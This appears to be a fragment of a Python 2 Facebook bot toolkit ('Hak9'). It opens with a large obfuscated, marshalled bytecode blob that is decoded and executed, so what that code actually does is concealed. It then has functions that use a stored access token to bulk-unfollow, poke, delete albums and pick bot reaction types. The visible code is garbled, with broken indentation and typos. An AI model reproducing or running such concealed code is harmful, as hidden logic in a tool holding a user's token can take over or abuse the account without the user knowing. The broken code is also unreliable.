00d\xb5\x00d\xb7\x00d\x1c\x00d\x1b\x00dI\x00d\x91\x00d\xbd\x00d\r\x00dx\x00d\xb0\x00dR\x00d\x12\x00dS\x00d\xf7\x00d\x02\x00d\xcd\x00dm\x00d\x7f\x00d(\x00d\xb2\x00d\xe4\x00d\x88\x00d\x06\x00d\\\x00d\xce\x00d\x00\x01d\xc8\x00d\xd0\x00d\x06\x00d\x84\x00d\xcb\x00d\xef\x00d\x88\x00d\xc6\x00d\xf4\x00d!\x00d\x1e\x00dk\x00d\x8e\x00d?\x00dU\x00d\x17\x00dV\x00d\x04\x00d>\x00d\x15\x00dA\x00dA\x00d*\x00d\x1a\x00d&\x00d\x10\x00d\xed\x00d$\x00d\x08\x00dj\x00d*\x00d\x8c\x00dU\x00dQ\x00d\x0c\x00d\x1d\x00dA\x00d.\x00d\xf2\x00dx\x00d\xe0\x00d\xf7\x00d\x9b\x00dQ\x00dk\x00d{\x00d-\x00d\x9e\x00d\xa0\x00d\xfa\x00d\xa2\x00dA\x00d\xc1\x00d\xa9\x00du\x00d\xd9\x00d-\x00d\xa5\x00d\x93\x00d\xcb\x00d\x11\x00d\xf5\x00d\x11\x00d\xa5\x00d\n\x00d%\x00dl\x00d\xa5\x00d\x9f\x00d\x8c\x00d[\x00d\x04\x00d\x05\x00d\x06\x00d\xd4\x00d`\x00d\t\x00d\n\x00d\xac\x00d4\x00d\xea\x00d\x0e\x00dU\x00d\x10\x00d\x17\x00d\xbb\x00d\xdf\x00d\xb0\x00dp\x00d\xc8\x00d\xc2\x00d\xa5\x00d\x19\x00d\x1a\x00d#\x00d\xde\x00d\x1d\x00d\xe8\x00d\x1f\x00dq\x00d\xf4\x00d"\x00d#\x00d\x0c\x00d\x8e\x00d\xe0\x00d\xa5\x00d\xd9\x00d(\x00d\xb2\x00d\xf9\x00d\t\x00d>\x00d\xfa\x00d\x97\x00d\xdb\x00d\xf8\x00d.\x00d^\x00d\xc0\x00dz\x00d\x0e\x00d\x98\x00d2\x00d\xc3\x00d\xfb\x00d5\x00d\xe8\x00d\xb8\x00d\x8e\x00d\xe5\x00d\xdd\x00d8\x00d~\x00d\xca\x00d\xa3\x00d%\x00d\xce\x00d>\x00di\x00d\xe4\x00dA\x00d\xed\x00d7\x00dh\x00d\xa7\x00d\xc3\x00d\x1b\x00d\x8f\x00d\xcd\x00d\x1e\x00d\x0c\x00d\xd7\x00dI\x00d\xca\x00d\xea\x00d\x10\x00dt\x00d3\x00d@\x00dg\x00d\xd0\x00dP\x00d\x9c\x00dd\x00du\x00d\xe5\x00d\xbc\x00dV\x00d\xb7\x00d\x05\x00dX\x00d\x8a\x00d\xb7\x00d\x91\x00d\x88\x00d\xb4\x00d+\x00d\x08\x00d\xbf\x00d\'\x00d\x8f\x00d\xdc\x00d\\\x00d<\x00d\r\x00d`\x00d\xaa\x00d7\x00dk\x00d\t\x00dh\x00dc\x00du\x00d\xad\x00d\xd2\x00d\xfa\x00d\xb1\x00d@\x00d\x82\x00d\xd9\x00d!\x00d\x19\x00d\x91\x00d\x80\x00d\xb9\x00d\xd9\x00dm\x00d!\x00d\xc8\x00dN\x00d\xd3\x00d\x84\x00d0\x00d\x15\x00d\xa0\x00dq\x00d\xa1\x00d\x99\x00d+\x00d\x12\x00d\xfd\x00d\x19\x00d\x02\x00d\x9a\x00d\x03\x00dj\x00d\xc1\x00dv\x00d\xb5\x00d\xe2\x00d\x1c\x00d\x1b\x00dI\x00d\x91\x00d\x03\x00d\r\x00dx\x00d\xb0\x00dR\x00dI\x00dS\x00d\xf7\x00d\x02\x00d\xcd\x00d\xbf\x00d\x7f\x00d(\x00d\xb2\x00d\xe4\x00d\xe0\x00d\x06\x00d\\\x00d\xce\x00d\x00\x01d\x94\x00d\xd0\x00d\x06\x00d\x84\x00d\xcb\x00d*\x00d\x88\x00d\xc6\x00d\xf4\x00d!\x00d#\x00dk\x00d\x8e\x00d?\x00dU\x00dF\x00dV\x00d\x04\x00d>\x00d\x15\x00d&\x00dA\x00d*\x00d\x1a\x00d&\x00d\x07\x00d\xed\x00d$\x00d\x08\x00dj\x00d\xc5\x00d\x8c\x00dU\x00dQ\x00d\x0c\x00d\xa4\x00dA\x00d.\x00d\xf2\x00dx\x00d\xa2\x00d\xf7\x00d\x9b\x00dQ\x00dk\x00d\x02\x00d-\x00d\x9e\x00d\xa0\x00d\xfa\x00dM\x00dA\x00d\xc1\x00d\xa9\x00du\x00d\xc6\x00d-\x00d\xa5\x00d\x93\x00d\xcb\x00dG\x00d\xf5\x00d\x11\x00d\xa5\x00d\n\x00d.\x00dl\x00d\xa5\x00d\x9f\x00d\x8c\x00di\x00d\x04\x00d\x05\x00d\x06\x00d\xd4\x00d\xe5\x00d\t\x00d\n\x00d\xac\x00d4\x00d\xf9\x00d\x0e\x00dU\x00d\x10\x00d\x17\x00d\x86\x00d\xdf\x00d\xb0\x00dp\x00d\xc8\x00d\xa0\x00d\xa5\x00d\x19\x00d\x1a\x00d#\x00dr\x00d\x1d\x00d\xe8\x00d\x1f\x00dq\x00d\xeb\x00d"\x00d#\x00d\x0c\x00d\x8e\x00d\xfe\x00d\xa5\x00d\xd9\x00d(\x00d\xb2\x00d\x14\x00d\t\x00d>\x00d\xfa\x00d\x97\x00d\xbe\x00d\xf8\x00d.\x00d^\x00d\xc0\x00dI\x00d\x0e\x00d\x98\x00d2\x00d\xc3\x00d\x02\x00d5\x00d\xe8\x00d\xb8\x00d\x8e\x00d{\x00d\xdd\x00d8\x00d~\x00d\xca\x00d\x19\x00d%\x00d\xce\x00d>\x00di\x00d\x04\x00dA\x00d\xed\x00d7\x00dh\x00d$\x00d\xc3\x00d\x1b\x00d\x8f\x00d\xcd\x00d\xa9\x00d\x0c\x00d\xd7\x00dI\x00d\xca\x00dL\x00d\x10\x00dt\x00d3\x00d@\x00dn\x00d\xd0\x00dP\x00d\x9c\x00dd\x00dI\x00d\xe5\x00d\xbc\x00dV\x00d\xb7\x00dg\x00dX\x00d\x8a\x00d\xb7\x00d\x91\x00d\x05\x00d\xb4\x00d+\x00d\x08\x00d\xbf\x00d\xa2\x00d\x8f\x00d\xdc\x00d\\\x00d<\x00d\xd2\x00d`\x00d\xaa\x00d7\x00dk\x00d\x0c\x00dh\x00dc\x00du\x00d\xad\x00d*\x00d\xfa\x00d\xb1\x00d@\x00d\x82\x00d\xc8\x00d!\x00d\x19\x00d\x91\x00d\x80\x00d\xfa\x00d\xd9\x00dm\x00d!\x00d\xc8\x00d\xb6\x00d\xd3\x00d\x84\x00d0\x00d\x15\x00dv\x00dq\x00d\xa1\x00d\x99\x00d+\x00dM\x00d\xfd\x00d\x19\x00d\x02\x00d\x9a\x00d\xef\x00dj\x00d\xc1\x00dv\x00d\xb5\x00d\xaa\x00d\x1c\x00d\x1b\x00dI\x00d\x91\x00d*\x00d\r\x00dx\x00d\xb0\x00dR\x00dA\x00dS\x00d\xf7\x00d\x02\x00d\xcd\x00d\xe7\x00d\x7f\x00d(\x00d\xb2\x00d\xe4\x00d\x84\x00d\x06\x00d\\\x00d\xce\x00d\x00\x01d\xe0\x00d\xd0\x00d\x06\x00d\x84\x00d\xcb\x00d\\\x00d\x88\x00d\xc6\x00d\xf4\x00d!\x00d\x82\x00dk\x00d\x8e\x00d?\x00dU\x00d\x89\x00dV\x00d\x04\x00d>\x00d\x15\x00d\x1a\x00dA\x00d*\x00d\x1a\x00d&\x00d\xf2\x00d\xed\x00d$\x00d\x08\x00dj\x00d\x1e\x00d\x8c\x00dU\x00dQ\x00d\x0c\x00dt\x00dA\x00d.\x00d\xf2\x00dx\x00d\x0b\x00d\xf7\x00d\x9b\x00dQ\x00dk\x00db\x00d-\x00d\x9e\x00d\xa0\x00d\xfa\x00d\xc6\x00dA\x00d\xc1\x00d\xa9\x00du\x00d\xea\x00d-\x00d\xa5\x00d\x93\x00d\xcb\x00d\x92\x00d\xf5\x00d\x11\x00d\xa5\x00d\n\x00d\x0f\x00dl\x00d\xa5\x00d\x9f\x00d\x8c\x00dD\x00d\x04\x00d\x05\x00d\x06\x00d\xd4\x00d\xf2\x00d\t\x00d\n\x00d\xac\x00d4\x00d\x81\x00d\x0e\x00dU\x00d\x10\x00d\x17\x00d\x93\x00d\xdf\x00d\xb0\x00dp\x00d\xc8\x00dG\x00d\xa5\x00d\x19\x00d\x1a\x00d#\x00dh\x00d\x1d\x00d\xe8\x00d\x1f\x00dq\x00d\x7f\x00d"\x00d#\x00d\x0c\x00d\x8e\x00dA\x00d\xa5\x00d\xd9\x00d(\x00d\xb2\x00d\x98\x00d\t\x00d>\x00d\xfa\x00d\x97\x00d\xb5\x00d\xf8\x00d.\x00d^\x00d\xc0\x00d\xb6\x00d\x0e\x00d\x98\x00d2\x00d\xc3\x00d\xf1\x00d5\x00d\xe8\x00d\xb8\x00d\x8e\x00d\xb6\x00d\xdd\x00d8\x00d~\x00d\xca\x00d\x1c\x00d%\x00d\xce\x00d>\x00di\x00d\xc2\x00dA\x00d\xed\x00d7\x00dh\x00d\x8f\x00d\xc3\x00d\x1b\x00d\x8f\x00d\xcd\x00d\x9f\x00d\x0c\x00d\xd7\x00dI\x00d\xca\x00d\xda\x00d\x10\x00dt\x00d3\x00d@\x00d\xa2\x00d\xd0\x00dP\x00d\x9c\x00dd\x00d|\x00d\xe5\x00d\xbc\x00dV\x00d\xb7\x00d\x16\x00dX\x00d\x8a\x00d\xb7\x00d\x91\x00d\xe9\x00d\xb4\x00d+\x00d\x08\x00d\xbf\x00d2\x00d\x8f\x00d\xdc\x00d\\\x00d<\x00d.\x00d`\x00d\xaa\x00d7\x00dk\x00d\xbb\x00dh\x00dc\x00du\x00d\xad\x00d\x18\x00d\xfa\x00d\xb1\x00d@\x00d\x82\x00d$\x00d!\x00d\x19\x00d\x91\x00d\x80\x00d%\x00d\xd9\x00dm\x00d!\x00d\xc8\x00d\\\x00d\xd3\x00d\x84\x00d0\x00d\x15\x00d\xa7\x00dq\x00d\xa1\x00d\x99\x00d+\x00d\x94\x00d\xfd\x00d\x19\x00d\x02\x00d\x9a\x00d{\x00dj\x00d\xc1\x00dv\x00d\xb5\x00d\x8b\x00d\x1c\x00d\x1b\x00dI\x00d\x91\x00d(\x00d\r\x00dx\x00d\xb0\x00dR\x00dY\x00dS\x00d\xf7\x00d\x02\x00d\xcd\x00d\xd2\x00d\x7f\x00d(\x00d\xb2\x00d\xe4\x00d\x85\x00d\x06\x00d\\\x00d\xce\x00d\x00\x01d\xa7\x00d\xd0\x00d\x06\x00d\x84\x00d\xcb\x00d?\x00d\x88\x00d\xc6\x00d\xf4\x00d!\x00d\x9c\x00dk\x00d\x8e\x00d?\x00dU\x00d\x88\x00dV\x00d\x04\x00d>\x00d\x15\x00d\xad\x00dA\x00d*\x00d\x1a\x00d&\x00d\x05\x00d\xed\x00d$\x00d\x08\x00dj\x00d\xdb\x00d\x8c\x00dU\x00dQ\x00d\x0c\x00d4\x00dA\x00d.\x00d\xf2\x00dx\x00d\xc3\x00d\xf7\x00d\x9b\x00dQ\x00dk\x00d2\x00d-\x00d\x9e\x00d\xa0\x00d\xfa\x00d*\x00dA\x00d\xc1\x00d\xa9\x00du\x00d\x1e\x00d-\x00d\xa5\x00d\x93\x00d\xcb\x00d\xfd\x00d\xf5\x00d\x11\x00d\xa5\x00d\n\x00d\x9e\x00dl\x00d\xa5\x00d\x9f\x00d\x8c\x00d\x90\x00d\x04\x00d\x05\x00d\x06\x00d\xd4\x00d\xbb\x00d\t\x00d\n\x00d\xac\x00d4\x00d*\x00d\x0e\x00dU\x00d\x10\x00d\x17\x00d\xb2\x00d\xdf\x00d\xb0\x00dp\x00d\xc8\x00d\x0c\x00d\xa5\x00d\x19\x00d\x1a\x00d#\x00d}\x00d\x1d\x00d\xe8\x00d\x1f\x00dq\x00d:\x00d"\x00d#\x00d\x0c\x00d\x8e\x00dy\x00d\xa5\x00d\xd9\x00d(\x00d\xb2\x00d\x06\x00d\t\x00d>\x00d\xfa\x00d\x97\x00d\xd5\x00d\xf8\x00d.\x00d^\x00d\xc0\x00d\x1d\x00d\x0e\x00d\x98\x00d2\x00d\x02\x00d\x99\x00d5\x00d\xe8\x00d\xb8\x00d\x8e\x00d9\x00d\xdd\x00d8\x00d~\x00d\xca\x00d,\x00d%\x00d\xce\x00d>\x00di\x00dP\x00dA\x00d\xed\x00d7\x00dh\x00d\x10\x00d\xc3\x00d\x1b\x00d\x8f\x00d\xcd\x00dx\x00d\x0c\x00d\xd7\x00dI\x00d\xca\x00d\xd1\x00d\x10\x00dt\x00d3\x00d\xe5\x00d\xe9\x00d\xd0\x00dP\x00d\x9c\x00d,\x00d/\x00d\xe5\x00d\xbc\x00dV\x00d6\x00d\x91\x00d\xab\x00d<\x00d\\\x00d\xf8\x00d\xe3\x00d\x17\x00d\xaa\x00d\x08\x00d%\x00dU\x00d?\x00d@\x00dv\x00d&\x00d\x17\x00d`\x00d>\x00d\xde\x00d8\x00dw\x00dh\x00dc\x00d\xa3\x00d\xae\x00d\x96\x00d\xfa\x00d\xb1\x00d@\x00d\x80\x00d\xe1\x00dt\x00d\x19\x00d\x91\x00d\x19\x00d\xef\x00d\xed\x00d\xec\x00d!\x00d\x16\x00dn\x00d\x1f\x00d\x16\x00d\xc0\x00d\x7f\x00d\xe3\x00dq\x00d\xa1\x00d\x99\x00d\x91\x00d\xe6\x00d\x89\x00d\x8f\x00d}\x00d$\x00du\x00dj\x00dV\x00d\x17\x00da\x00d\xd2\x00d\x01\x01d\xaa\x00dI\x00dZ\x00db\x00d\r\x00d\x84\x00d\xb0\x00d\xee\x00dz\x00dS\x00d\xe9\x00d\x02\x00d)\x00d\x99\x00d\x7f\x00d\x9e\x00dt\x00d\x81\x00d\xc7\x00d\x06\x00dq\x00dm\x00d\x93\x00d\xba\x00d\xd9\x00d\xa1\x00d]\x00d\x1a\x00d\xb8\x00d\xab\x00d\xc6\x00d\xf4\x00d\x8b\x00d|\x00d\xee\x00d(\x00d\x8f\x00d8\x00d\r\x00d\x91\x00d\xae\x00d\t\x00d\x13\x00d\xc5\x00dA\x00d\xa6\x00d\xb0\x00d<\x00d0\x00d\xed\x00d\x9e\x00d\x8c\x00d\xdb\x00d\x97\x00dx\x00dU\x00d\xd1\x00d\xde\x00dE\x00dA\x00d\xb5\x00d\xf2\x00d\xa9\x00d\x92\x00d#\x00d\x9b\x00d\xd1\x00da\x00dX\x00d-\x00d\xf4\x00d\xd0\x00d\x86\x00d\xf5\x00d}\x00d\xf8\x00d9\x00d\xa3\x00d\xd9\x00d-\x00d?\x00d\x93\x00d\x80\x00d\x87\x00dW\x00d\xa6\x00dJ\x00d\xf6\x00d~\x00d\xb0\x00dJ\x00d\x9f\x00d\x9c\x00dP\x00dB\x00d\xf5\x00d\xb2\x00d\x8a\x00d}\x00d>\x00g\xf5\x12Z\x01\x00d\x02\x01Z\x02\x00d"\x00d"\x00f\x02\x00\\\x02\x00Z\x03\x00Z\x04\x00d\xa9\x00d\x03\x00d\x04\x00d\x05\x00d\x06\x00d\x07\x00d\x08\x00d\t\x00d\n\x00d\xac\x00d\x92\x00d\r\x00d\x0e\x00dU\x00d\x10\x00d\x11\x00d\x12\x00d\xdf\x00d\xb0\x00dp\x00d\x16\x00d\x17\x00d\xa5\x00d\x19\x00d\x1a\x00ds\x00d\x98\x00d\x1d\x00d\xe8\x00d\x1f\x00d \x00d_\x00d"\x00d#\x00d\x0c\x00d7\x00d&\x00d\xa5\x00d\xd9\x00d(\x00d}\x00dY\x00d\t\x00d>\x00d\xfa\x00d,\x00d$\x00d\xf8\x00d.\x00d^\x00d\xdc\x00d \x00d\x0e\x00d\x98\x00d2\x00d\x86\x00d\x99\x00d5\x00d\xe8\x00d\xb8\x00d7\x00d#\x00d\xdd\x00d8\x00d~\x00d\x10\x00d<\x00d%\x00d\xce\x00d>\x00d\x8f\x00d9\x00dA\x00d\xed\x00d7\x00dC\x00d\x81\x00d\xc3\x00d\x1b\x00d\x8f\x00d)\x00dG\x00d\x0c\x00d\xd7\x00dI\x00d\x10\x00d3\x00d\x10\x00dt\x00d3\x00dM\x00d\xa2\x00d\xd0\x00dP\x00d\x9c\x00d\x9b\x00dS\x00d\xe5\x00d\xbc\x00dV\x00dv\x00d\x99\x00dX\x00d\x8a\x00d\xb7\x00dZ\x00d!\x00d\xb4\x00d+\x00d\x08\x00d%\x00dU\x00d\x8f\x00d\xdc\x00d\\\x00d&\x00d\x17\x00d`\x00d\xaa\x00d7\x00da\x00dw\x00dh\x00dc\x00du\x00d5\x00de\x00d\xfa\x00d\xb1\x00d@\x00d\x01\x01d\xb7\x00d!\x00d\x19\x00d\x91\x00d\x19\x00ds\x00d\xd9\x00dm\x00d!\x00d\x16\x00dn\x00d\xd3\x00d\x84\x00d0\x00d\x13\x00d\x8c\x00dq\x00d\xa1\x00d\x99\x00dn\x00d~\x00d\xfd\x00d\x19\x00d\x02\x00d$\x00du\x00dj\x00d\xc1\x00dv\x00d\x96\x00d\xef\x00d\x1c\x00d\x1b\x00dI\x00dZ\x00db\x00d\r\x00dx\x00d\xb0\x00d\xee\x00dz\x00dS\x00d\xf7\x00d\x02\x00d)\x00d\x99\x00d\x7f\x00d(\x00d\xb2\x00d\x81\x00d\xc7\x00d\x06\x00d\\\x00d\xce\x00d\xda\x00dZ\x00d\xd0\x00d\x06\x00d\x84\x00dF\x00d\x07\x00d\x88\x00d\xc6\x00d\xf4\x00d\x8b\x00d\x98\x00dk\x00d\x8e\x00d?\x00d\x93\x00d\x91\x00dV\x00d\x04\x00d>\x00d\x13\x00d\xc5\x00dA\x00d*\x00d\x1a\x00d<\x00d0\x00d\xed\x00d$\x00d\x08\x00d\xab\x00d\x97\x00d\x8c\x00dU\x00dQ\x00d\xde\x00d\x81\x00dA\x00d.\x00d\xf2\x00d9\x00d\x92\x00d\xf7\x00d\x9b\x00dQ\x00da\x00d\x9b\x00d-\x00d\x9e\x00d\xa0\x00dr\x00d\x05\x00dA\x00d\xc1\x00d\xa9\x00d\xa3\x00d-\x00d-\x00d\xa5\x00d\x93\x00dF\x00d\xa7\x00d\xf5\x00d\x11\x00d\xa5\x00d\xf6\x00d\xd2\x00dl\x00d\xa5\x00d\x9f\x00g\xff\x00Z\x05\x00xe\x00e\x03\x00e\x06\x00e\x01\x00\x83\x01\x00k\x05\x00r%<Pn\x00\x00e\x04\x00e\x06\x00e\x05\x00\x83\x01\x00k\x05\x00r@<d"\x00Z\x04\x00n\x00\x00e\x02\x00e\x07\x00e\x01\x00e\x03\x00\x19e\x05\x00e\x04\x00\x19A\x83\x01\x007Z\x02\x00e\x03\x00d\xc9\x007Z\x03\x00e\x04\x00d\xc9\x007Z\x04\x00q\x0f<We\x00\x00j\x08\x00e\x02\x00\x83\x01\x00d\x01\x00\x04Ud\x01\x00S(\x03\x01\x00\x00i\xff\xff\xff\xffNi\x06\x00\x00\x00in\x00\x00\x00i\xa5\x00\x00\x00i*\x00\x00\x00i`\x00\x00\x00iF\x00\x00\x00i\r\x00\x00\x00i\xc6\x00\x00\x00iV\x00\x00\x00i\xcd\x00\x00\x00i\xab\x00\x00\x00i\xc5\x00\x00\x00i\xdc\x00\x00\x00i\xbf\x00\x00\x00i\x80\x00\x00\x00iJ\x00\x00\x00iB\x00\x00\x00iS\x00\x00\x00i5\x00\x00\x00i:\x00\x00\x00i\xbe\x00\x00\x00i#\x00\x00\x00i\x92\x00\x00\x00i\x19\x00\x00\x00iH\x00\x00\x00i\x8a\x00\x00\x00ii\x00\x00\x00i"\x00\x00\x00i)\x00\x00\x00i\xbd\x00\x00\x00i\x18\x00\x00\x00ic\x00\x00\x00i\x00\x00\x00\x00i\x87\x00\x00\x00i\xcf\x00\x00\x00i\xb4\x00\x00\x00i]\x00\x00\x00i[\x00\x00\x00i\xb0\x00\x00\x00ig\x00\x00\x00i8\x00\x00\x00i\xa3\x00\x00\x00i\xed\x00\x00\x00i\xa7\x00\x00\x00i\x15\x00\x00\x00i\x98\x00\x00\x00i\xe7\x00\x00\x00i\xb8\x00\x00\x00iI\x00\x00\x00i\x16\x00\x00\x00i\xc1\x00\x00\x00i\xef\x00\x00\x00i!\x00\x00\x00i\xb6\x00\x00\x00i\xe3\x00\x00\x00i\x9a\x00\x00\x00i\x81\x00\x00\x00i\x8c\x00\x00\x00i4\x00\x00\x00i\xd0\x00\x00\x00i\xc7\x00\x00\x00i\t\x00\x00\x00i\x94\x00\x00\x00i\x11\x00\x00\x00i\xb9\x00\x00\x00i\x17\x00\x00\x00i\x90\x00\x00\x00i\x0b\x00\x00\x00iv\x00\x00\x00id\x00\x00\x00i\xc4\x00\x00\x00i\xd4\x00\x00\x00i\xe4\x00\x00\x00i\x05\x00\x00\x00i\x02\x00\x00\x00i\xfd\x00\x00\x00i=\x00\x00\x00i$\x00\x00\x00io\x00\x00\x00i\x08\x00\x00\x00i\x8f\x00\x00\x00i\x9f\x00\x00\x00i\xb1\x00\x00\x00i\xff\x00\x00\x00i\xcc\x00\x00\x00i(\x00\x00\x00if\x00\x00\x00i<\x00\x00\x00i\xc0\x00\x00\x00i\x07\x00\x00\x00iM\x00\x00\x00i\xaf\x00\x00\x00i\xfc\x00\x00\x00i9\x00\x00\x00ia\x00\x00\x00i\xe2\x00\x00\x00i6\x00\x00\x00iA\x00\x00\x00i\xf0\x00\x00\x00i\x82\x00\x00\x00iy\x00\x00\x00i\x7f\x00\x00\x00i~\x00\x00\x00i\x04\x00\x00\x00i}\x00\x00\x00i\x8b\x00\x00\x00i{\x00\x00\x00i\xd9\x00\x00\x00i\xca\x00\x00\x00i\xb5\x00\x00\x00i7\x00\x00\x00iq\x00\x00\x00it\x00\x00\x00i\xee\x00\x00\x00ib\x00\x00\x00i\xfe\x00\x00\x00iL\x00\x00\x00iR\x00\x00\x00i\xf3\x00\x00\x00i\x1e\x00\x00\x00i\xd8\x00\x00\x00i\xfb\x00\x00\x00iT\x00\x00\x00i\x03\x00\x00\x00i\xe5\x00\x00\x00i\'\x00\x00\x00ip\x00\x00\x00i\xf4\x00\x00\x00is\x00\x00\x00i\xce\x00\x00\x00i\xdb\x00\x00\x00iU\x00\x00\x00ir\x00\x00\x00i\x12\x00\x00\x00i\x1c\x00\x00\x00i\xec\x00\x00\x00iG\x00\x00\x00i\n\x00\x00\x00i\x0c\x00\x00\x00i\xba\x00\x00\x00i\xdf\x00\x00\x00im\x00\x00\x00i\xa4\x00\x00\x00i\xa9\x00\x00\x00i\xa8\x00\x00\x00i\x96\x00\x00\x00i\\\x00\x00\x00iO\x00\x00\x00i\x83\x00\x00\x00i\x84\x00\x00\x00ih\x00\x00\x00i\xc8\x00\x00\x00i\xa6\x00\x00\x00i\x99\x00\x00\x00il\x00\x00\x00i\xf2\x00\x00\x00i\xc3\x00\x00\x00i\xf9\x00\x00\x00i0\x00\x00\x00i\x10\x00\x00\x00iY\x00\x00\x00i\x97\x00\x00\x00i\x8e\x00\x00\x00i\xf6\x00\x00\x00iK\x00\x00\x00i\x13\x00\x00\x00i\xde\x00\x00\x00ie\x00\x00\x00i\xa2\x00\x00\x00i\x14\x00\x00\x00i\xfa\x00\x00\x00i\x86\x00\x00\x00i\x9b\x00\x00\x00i&\x00\x00\x00iz\x00\x00\x00i_\x00\x00\x00ij\x00\x00\x00iu\x00\x00\x00iW\x00\x00\x00i\xea\x00\x00\x00i\xac\x00\x00\x00i%\x00\x00\x00i2\x00\x00\x00i@\x00\x00\x00i\xb2\x00\x00\x00i\x93\x00\x00\x00i\xe8\x00\x00\x00i>\x00\x00\x00iN\x00\x00\x00i\xdd\x00\x00\x00i\x89\x00\x00\x00i\xa0\x00\x00\x00i\xcb\x00\x00\x00i\x1b\x00\x00\x00i\xd3\x00\x00\x00i|\x00\x00\x00i\x88\x00\x00\x00i\xae\x00\x00\x00i\xd7\x00\x00\x00i\x01\x00\x00\x00i\xe9\x00\x00\x00i\x1f\x00\x00\x00i\xb7\x00\x00\x00i\x0e\x00\x00\x00i\xaa\x00\x00\x00i\xad\x00\x00\x00i1\x00\x00\x00i\xf7\x00\x00\x00i\xe1\x00\x00\x00i\xd1\x00\x00\x00i/\x00\x00\x00iZ\x00\x00\x00i\xc9\x00\x00\x00i\xd6\x00\x00\x00iC\x00\x00\x00iX\x00\x00\x00i\xf5\x00\x00\x00i\xeb\x00\x00\x00i\xe0\x00\x00\x00i\x91\x00\x00\x00i\xc2\x00\x00\x00i \x00\x00\x00i-\x00\x00\x00iQ\x00\x00\x00i^\x00\x00\x00i\x0f\x00\x00\x00i\x9d\x00\x00\x00i\xd5\x00\x00\x00i\x8d\x00\x00\x00i\xd2\x00\x00\x00iE\x00\x00\x00iP\x00\x00\x00i.\x00\x00\x00i3\x00\x00\x00i\xda\x00\x00\x00i,\x00\x00\x00i\xe6\x00\x00\x00i\x85\x00\x00\x00i\xbb\x00\x00\x00iD\x00\x00\x00i\xbc\x00\x00\x00i;\x00\x00\x00iw\x00\x00\x00i+\x00\x00\x00i?\x00\x00\x00ix\x00\x00\x00i\xa1\x00\x00\x00i\xf8\x00\x00\x00i\x1d\x00\x00\x00i\xf1\x00\x00\x00i\x95\x00\x00\x00i\x9e\x00\x00\x00i\xb3\x00\x00\x00ik\x00\x00\x00i\x9c\x00\x00\x00i\x1a\x00\x00\x00t\x00\x00\x00\x00(\t\x00\x00\x00t\x07\x00\x00\x00marshalt\x01\x00\x00\x00dt\x01\x00\x00\x00et\x01\x00\x00\x00it\x01\x00\x00\x00jt\x01\x00\x00\x00kt\x03\x00\x00\x00lent\x03\x00\x00\x00chrt\x05\x00\x00\x00loads(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x08\x00\x00\x00<script>t\x08\x00\x00\x00<module>\x01\x00\x00\x00s\x92\x00\x00\x00\x0c\x01\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\xff\x00\x1e\x01\x06\x01\x12\x01\xff\x00\xff\x00\xff\x00\x06\x01\x03\x01\x12\x00\x04\x01\x12\x00\t\x01\x1c\x01\n\x01\x0e\x01')
  416.  
  417. def unfollow(posts):
  418.   global token, WT
  419.  
  420. print '\r[*] all id successfully retrieved    '
  421. print '[*] start'
  422.  
  423. try:
  424. counter = 0
  425. for post in posts['data']:
  426.   if counter >= 50:
  427.   break
  428. else :
  429.   counter += 1
  430.  
  431. r = requests.post('https://graph.facebook.com/' + post['id'] + '/subscribers?method=delete&access_token=' + token)
  432. a = json.loads(r.text)
  433.  
  434. try:
  435. cek = a['error']['nessage']
  436. print W + '[' + R + post['name'] + W + '] failed'
  437. except TypeError:
  438.   print W + '[' + G + post['name'] + W + '] unfollow'
  439. print '[*] done'
  440. bot()
  441. except KeyboardInterrupt:
  442.   print '\r[!] Stopped'
  443. bot()
  444. def poke(posts):
  445.   global token, WT
  446.  
  447. print '\r[*] all id successfully retrieved                  '
  448. print '[*] start'
  449.  
  450. try:
  451. counter = 0
  452. for post in posts:
  453.   if counter >= 50:
  454.   break
  455. else :
  456.   counter += 1
  457.  
  458. r = requests.post('https://graph.facebook.com/%s/pokes?access_token=%s' % (post['id'].split('_')[0], token))
  459. a = json.loads(r.text)
  460.  
  461. id = post['id'].split('_')[0]
  462. try:
  463. cek = a['error']['message']
  464. print W + '[' + R + id + W + '] failed'
  465. except TypeError:
  466.   print W + '[' + G + id + W + '] pokes'
  467. print '[*] Done'
  468. bot()
  469. except KeyboardInterrupt:
  470.   print '\r[!] Stopped   '
  471. bot()
  472. except(requests.exceptions.ConnectionError):
  473.   print '[!] Connection Error'
  474. bot()
  475. def albums(posts):
  476.   global token, WT
  477.  
  478. print '\r[*] all id successfully retrieved                 '
  479. print '[*] Start'
  480.  
  481. try:
  482. counter = 0
  483. for post in posts:
  484.   if counter >= 50:
  485.   break
  486.  
  487. r = requests.post('https://graph.facebook.com/' + post['id'] + '?method=delete&access_token=' + token)
  488. a = json.loads(r.text)
  489.  
  490. try:
  491. cek = a['error']['message']
  492. print W + '[' + R + post['name'] + W + '] Failed'
  493. except TypeError:
  494.   print W + '[' + G + post['name'] + W + '] femoved'
  495. print '[*] Done'
  496. bot()
  497. except KeyboardInterrupt:
  498.   print '\r[!] Stopped  '
  499. bot()
  500. except(requests.exceptions.ConnectionError):
  501.   print '[!] connection error'
  502. bot()####################################################################################################################### Bot reaction# Prepairing#
  503. def menu_reaction_ask():
  504.   try:
  505.   global type
  506.  
  507. cek = raw_input(R + 'Hak9' + W + '/' + R + 'Bot' + W + '/' + R + 'Reaction' + W + ' >> ')
  508.  
  509. if cek in ['1', '01']:
  510.   type = 'LIKE'
  511. bot_ask()
  512. elif cek in ['2', '02']:
  513.   type = 'LOVE'
  514. bot_ask()
  515. elif cek in ['3', '03']:
  516.   type = 'WOW'
  517. bot_ask()
  518. elif cek in ['4', '04']:
  519.   type = 'HAHA'
  520. bot_ask()
  521. elif cek in ['5', '05']:
  522.   type = 'SAD'
  523. bot_ask()
  524. elif cek in ['6', '06']:
  525.   type = 'ANGRY'
  526. bot_ask()
  527. elif cek.lower() == 'menu':
  528.   menu_reaction()
  529. menu_reaction_ask()
  530. elif cek.lower() == 'exit':
